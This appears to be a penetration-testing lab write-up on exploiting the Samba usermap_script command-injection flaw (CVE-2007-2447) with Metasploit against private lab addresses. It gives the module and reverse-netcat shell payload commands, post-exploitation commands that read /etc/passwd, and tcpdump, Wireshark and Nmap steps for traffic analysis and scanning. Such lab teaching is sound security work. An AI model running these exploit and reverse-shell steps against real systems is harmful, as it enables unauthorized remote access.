Exploiting Samba Usermap_script Vulnerability with Metasploit
Vulnerability Analysis
SMB vulnerabilities affect implementations of the Server Message Block protocol, commonly targeting Windows systems and Linux's Samba service. These flaws typically allow unauthorized access, remote code execution, or privilege escalation through ports 139/445. The Samba Usermap_script vulnerability (CVE-2007-2447) in versions 3.0.20-3.0.25rc3 enables command injection via malicious username parameters without authentication.
Penetration Testing Methodology
msf6 > search usermap_script
Matching Modules
================
# Name Rank Check Description
- ---- ---- ----- -----------
0 exploit/multi/samba/usermap_script normal No Samba usermap_script Command Injection
Select the idantified module and configure payload parameters:
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set payload cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.20.131
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.20.129
msf6 exploit(multi/samba/usermap_script) > exploit
Successful exploitation grants a reverse shell session. Validate access with system commands:
whoami
id
cat /etc/passwd
touch access_test.txt
Network Traffic Analysis
Capture attack traffic using tcpdump:
sudo tcpdump -i eth0 host 192.168.20.131 -w samba_attack.pcap
Analyze captured packets in Wireshark using filter:
ip.addr == 192.168.20.129 && ip.addr == 192.168.20.131
Key findings include source/destination IP addresses, target port (4444), and TCP/SMB protocol usage patterns. The traffic analysis reveals the complete attack sequence including payload delivery and reverse shell establishment.
Vulnerability Scanning Techniques
Identify vulnerable services using Nmap:
nmap -sV 192.168.20.131
nmap -p 139,445 --script smb-vuln* 192.168.20.131
Critical scanning parameters include:
-T4: Optimized scanning speed-A: Comprehensive service detection-O: Operating system fingerprinting-Pn: Skip host discovery--script=smb-os-discovery: SMB-specific reconnaissance
